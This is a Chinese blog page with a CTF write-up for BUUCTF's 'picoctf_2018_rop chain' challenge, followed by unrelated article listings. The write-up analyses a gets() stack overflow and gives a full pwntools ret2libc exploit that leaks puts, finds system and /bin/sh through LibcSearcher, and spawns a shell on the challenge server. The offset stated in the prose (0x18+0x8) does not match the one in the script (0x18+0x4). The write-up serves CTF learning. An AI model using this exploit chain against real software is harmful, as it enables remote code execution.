news 2026/8/6 3:33:44

buuctf中的picoctf_2018_rop chain

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的picoctf_2018_rop chain

首先checksec检查保护机制:

-32位程序

-开启了栈不可执行机制

然后使用反汇编工具IDA进行分析:

看到了vuln函数和左边的win1,win2函数及flag函数,第一眼看到就觉得能够从这些函数中获取flag,但实际行不行呢,先一个一个点进去看一下

vuln函数内部:

gets函数可触发栈溢出漏洞,顺便算出偏移为:0x18 + 0x8

win1函数内部;

使变量win1的值为1

win2函数内部:

一些if-else的条件选择语句

最后是flag函数内部:

可以发现要想从这里拿到flag,必须要让win1,win2和a1的值都等于-559039827,但是前面的那几个函数都无法实现,所以这几个函数一点作用也没有,纯糊弄人呢

由于在程序的反汇编代码中没有任何后门函数和system函数地址,题目也没给libc库文件,这里考虑泄露出某个函数的真实的地址再借助LibcSearcher这个插件找到libc库,再计算出libc基址,进而计算出system函数及/bin/sh的地址

先在IDA中拿到vuln函数的地址,方便后面二次使用栈溢出漏洞:0x8048714

然后就可以开始编写exp攻击脚本了:

第一次栈溢出先构造ROP链执行puts函数打印出puts函数的真实地址,拿到后通过LibcSearcher找到libc库,然后计算出libc基址后再计算出system函数和/bin/sh地址,第二次栈溢出执行system函数后就能拿到shell

from pwn import * from LibcSearcher import LibcSearcher context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',29484) # 与在线环境交互。 offset = 0x18 + 0x4 vuln_addr = 0x8048714 elf = ELF("./pwn") puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] io.recvuntil(b'Enter your input> ') payload = b'a'*offset + p32(puts_plt) + p32(vuln_addr) + p32(puts_got) io.sendline(payload) puts_addr = u32(io.recv(4)) print(hex(puts_addr)) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system") bin_sh_addr = libc_base + libc.dump("str_bin_sh") io.recvuntil(b'Enter your input> ') payload = b'a'*offset + p32(system_addr) + p32(1) + p32(bin_sh_addr) io.sendline(payload) io.interactive()

这是运行结果:

这里要手动选择libc库,32位程序就选择32位的libc库就行,可能会选到不适配得到libc库,多试几个就行了

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/31 11:36:09

Java毕设选题推荐:基于spring boot的高校宿舍管理系统设计基于springboot的高校学生宿舍管理系统设计【附源码、mysql、文档、调试+代码讲解+全bao等】

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华
网站建设 2026/7/31 9:03:14

数字人民币跨境支付试点启动,稳定币会被取代吗?

一、政策重磅:八部门联合发文,数字人民币出海迈出关键一步2025年12月24日,中国人民银行、国家发展改革委、财政部、交通运输部、商务部、金融监管总局、中国证监会、国家外汇局等八部门联合印发《关于金融支持加快西部陆海新通道建设的意见》…

作者头像 李华
网站建设 2026/8/1 23:05:49

MBA必看!9个降AI率工具推荐,高效避坑指南

MBA必看!9个降AI率工具推荐,高效避坑指南 AI降重工具:MBA论文的智能护航者 在当前学术写作中,随着AI技术的广泛应用,论文中的AIGC率问题逐渐成为MBA学生需要重点关注的难点。许多同学在使用AI生成内容时,往…

作者头像 李华
网站建设 2026/7/30 13:02:20

互联网医院系统|禾高互联网医院|互联网医院成品

随着医疗健康服务的数字化进程加速,互联网医院系统已演变为重构医疗资源配置、优化诊疗流程、重塑患者体验的战略性基础设施。其本质并非线下医疗的简单线上化,而是以患者为中心、以数据为驱动、以安全和合规为基石的新型医疗服务模式的综合载体。1、患者…

作者头像 李华
网站建设 2026/7/31 1:48:07

【计算机毕业设计案例】基于spring boot的高校宿舍管理系统设计基于spring boot + vue 的宿舍管理系统(程序+文档+讲解+定制)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华
网站建设 2026/8/3 8:14:34

ClickHouse 监控与告警:确保大数据系统稳定运行

ClickHouse 监控与告警:确保大数据系统稳定运行 关键词:ClickHouse、监控指标、告警策略、大数据系统、稳定性、监控工具、性能优化 摘要:在大数据时代,ClickHouse作为高性能列式数据库,承担着海量数据实时分析的核心任…

作者头像 李华